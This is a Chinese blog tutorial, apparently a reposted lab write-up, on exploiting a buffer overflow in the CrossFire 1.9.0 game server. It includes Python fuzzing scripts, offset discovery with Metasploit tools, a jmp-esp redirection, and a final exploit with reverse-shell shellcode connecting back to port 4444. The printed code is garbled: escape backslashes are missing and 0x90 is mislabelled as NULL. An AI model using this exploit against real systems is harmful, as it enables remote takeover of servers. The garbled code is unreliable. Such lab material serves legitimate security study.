Linux下简单的缓冲区溢出
Posted systemvito
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Linux下简单的缓冲区溢出相关的知识,希望对你有一定的参考价值。
缓冲区溢出是什么?
科班出身,或者学过汇编的应该知道,当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被“撑爆”,从而覆盖了相邻内存区域的数据
成功修改内存数据,可造成进程劫持,执行恶意代码,获取服务器控制权等后果
CrossFire
- 多人在线RPG游戏
- 1.9.0 版本接受入站 socket 连接时存在缓冲区溢出漏洞 (服务端)
调试工具
- edb
运行平台
- kali 2.0 x64虚拟机
Linux中内存保护机制
- DEP
- ASLR
- 堆栈 cookies
- 堆栈粉碎
漏洞太老,避免测试中我们的虚拟机被劫持,可以通过iptables设置目标端口只允许本地访问,如果网络是仅主机可以省略
#4444端口是一会开放的测试端口,只允许本地访问
iptables -A INPUT -p tcp --destination-port 4444 ! -d 127.0.0.1 -j DROP
#13327是服务端端口,只允许本地访问
iptables -A INPUT -p tcp --destination-port 13327 ! -d 127.0.0.1 -j DROP
创建/usr/games/目录,将crossfire1.9.0服务端解压到目录
#解压 touch /usr/games/ cd /usr/games/ tar zxpf crossfire.tar.gz
运行一下crossfire看看有没有问题 ./crossfire
出现Waiting for connections即可,有问题看看Error
#开启调试
edb --run /usr/games/crossfire/bin/crossfire
右下角是paused暂停状态
菜单栏 Debug => Run(F9) 点击两回可以运行起来
可以通过命令查看程序端口信息
#查看开放端口
netstat -pantu | grep 13327
EIP中存放的是下一条指令的地址
这个程序和一般的溢出不同,它必须发送固定的数据量才可以发生溢出,而不是大于某个数据量都可以,我们构造如下python程序测试
#! /usr/bin/python import socket host = "127.0.0.1" crash = "x41" * 4379 ## x41为十六进制的大写A buffer = "x11(setup sound " + crash + "x90x00#" ## x90是NULL,x00是空字符 s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) print "[*]Sending evil buffer..." s.connect((host,13327)) data = s.recv(1024) print data s.send(buffer) s.close() print "[*]Payload Sent!"
运行后,edb报错如下
意思是EIP(存放一下条执行命令的地址)已经被覆盖成上图黑体中的地址,而计算机找不到这个地址。这个地址正是由我们输入的A,说明EIP可控,存在溢出。
这里你也可以测试增加一个A或者减少一个A发送,会发现后边两个数值都不是A,都不可控,也就是说数据量只有为4379时EIP才完全可控
为了查看到底是哪个位置的A才是溢出后的EIP地址,借助工具生成唯一字符串
cd /usr/share/metasploit-framework/tools/exploit/ ./pattern_create.rb -l 4379
复制下来,构造如下python脚本
#! /usr/bin/python import socket host = "127.0.0.1" crash = "唯一字符串" buffer = "x11(setup sound " + crash + "x90x00#" s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) print "[*]Sending evil buffer..." s.connect((host,13327)) data = s.recv(1024) print data s.send(buffer) s.close() print "[*]Payload Sent!"
开启edb启动程序,运行python程序
利用工具确认字符串的位置
cd /usr/share/metasploit-framework/tools/exploit/ ./pattern_offset.rb -q 46367046
就是说EIP地址前面有4368个字符。 4369,4370,4371,4372的位置存放的是溢出后的EIP地址
我们构造如下python脚本验证
#! /usr/bin/python import socket host = "127.0.0.1" crash = ‘A‘*4368 + ‘B‘*4 + ‘C‘*7 ## 凑够4379个字符 buffer = "x11(setup sound " + crash + "x90x00#" s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) print "[*]Sending evil buffer..." s.connect((host,13327)) data = s.recv(1024) print data s.send(buffer) s.close() print "[*]Payload Sent!"
可以看到EIP地址被精准的填充为B字符
右键ESP,选择 Follow In Dump 查看数据
因为必须是精确的字符才能溢出,就是说ESP寄存器只能存放7个字符,显然无法存放shellcode
几个寄存器都查看后,选择了EAX。因为EAX存放的是我们之前发送的几千个A,是可控的,且有足够的大小存放shellcode
思路就是让EIP存放EAX的地址,然后在地址上加12,直接从第一个A的位置开始执行。但是各个机器的EAX的地址也各不相同,不具有通用性,所以直接跳转的思路就放弃。
既然ESP可以存放7个字符,想到了跳转EAX并偏移12
构造如下python代码运行
#! /usr/bin/python import socket host = "127.0.0.1" crash = ‘A‘*4368 + ‘B‘*4 + ‘x83xc0x0cxffxe0x90x90‘ buffer = "x11(setup sound " + crash + "x90x00#" s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) print "[*]Sending evil buffer..." s.connect((host,13327)) data = s.recv(1024) print data s.send(buffer) s.close() print "[*]Payload Sent!"
首先EIP地址仍然是精准的四个B
ESP => Follow In Dump 查看
83 c0 0c ff e0 90 90 说明这里也完美写入
思路就是EIP => ESP => EAX,EAX存放shellcode,因为ESP地址不固定,需要借助固定的地址跳转
打开edb,菜单栏 Plugins => OpcodeSearcher => OpcodeSearch
选择crossfire程序,ESP -> EIP,选择一个jmp esp 的地址,这个地址是不会变的
菜单栏 plugin => breakpointmanager => breakpoints 选择add增加我们上边选择的地址的断点用来测试。
然后我们测试坏字符,经过测试坏字符是x00x0ax0dx20
生成shellcode并过滤坏字符
cd /usr/share/framework2/ ./msfpayload -l #可以生成的shellcode的种类 ./msfpayload linux_ia32_reverse LHOST=127.0.0.1 LPORT=4444 R | ./msfencode -b "x00x0ax0dx20"
构建python脚本
#!/usr/bin/python import socket host = "127.0.0.1" shellcode = ( "xbbx6dx65x9bxcdxdbxddxd9x74x24xf4x5fx2bxc9"+ "xb1x14x83xc7x04x31x5fx10x03x5fx10x8fx90xaa"+ "x16xb8xb8x9exebx15x55x23x65x78x19x45xb8xfa"+ "x01xd4x10x92xb7xe8x85x3exd2xf8xf4xeexabx18"+ "x9cx68xf4x17xe1xfdx45xacx51xf9xf5xcax58x81"+ "xb5xa2x05x4cxb9x50x90x24x85x0exeex38xb0xd7"+ "x08x50x6cx07x9axc8x1ax78x3ex61xb5x0fx5dx21"+ "x1ax99x43x71x97x54x03") crash = shellcode + "A"*(4368-105) + "x97x45x13x08" + "x83xc0x0cxffxe0x90x90" buffer = "x11(setup sound " +crash+ "x90x90#)" s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) print "[*]Sending evil buffer..." s.connect((host,13327)) data = s.recv(1024) print data s.send(buffer) s.close() print "[*]Payload Sent!"
监听本地的4444端口,即可获取一个shell
以上是关于Linux下简单的缓冲区溢出的主要内容,如果未能解决你的问题,请参考以下文章
2017-2018-2 20179207 《网络攻防技术》第十周作业
20179223《Linux内核原理与分析》第十一周学习笔记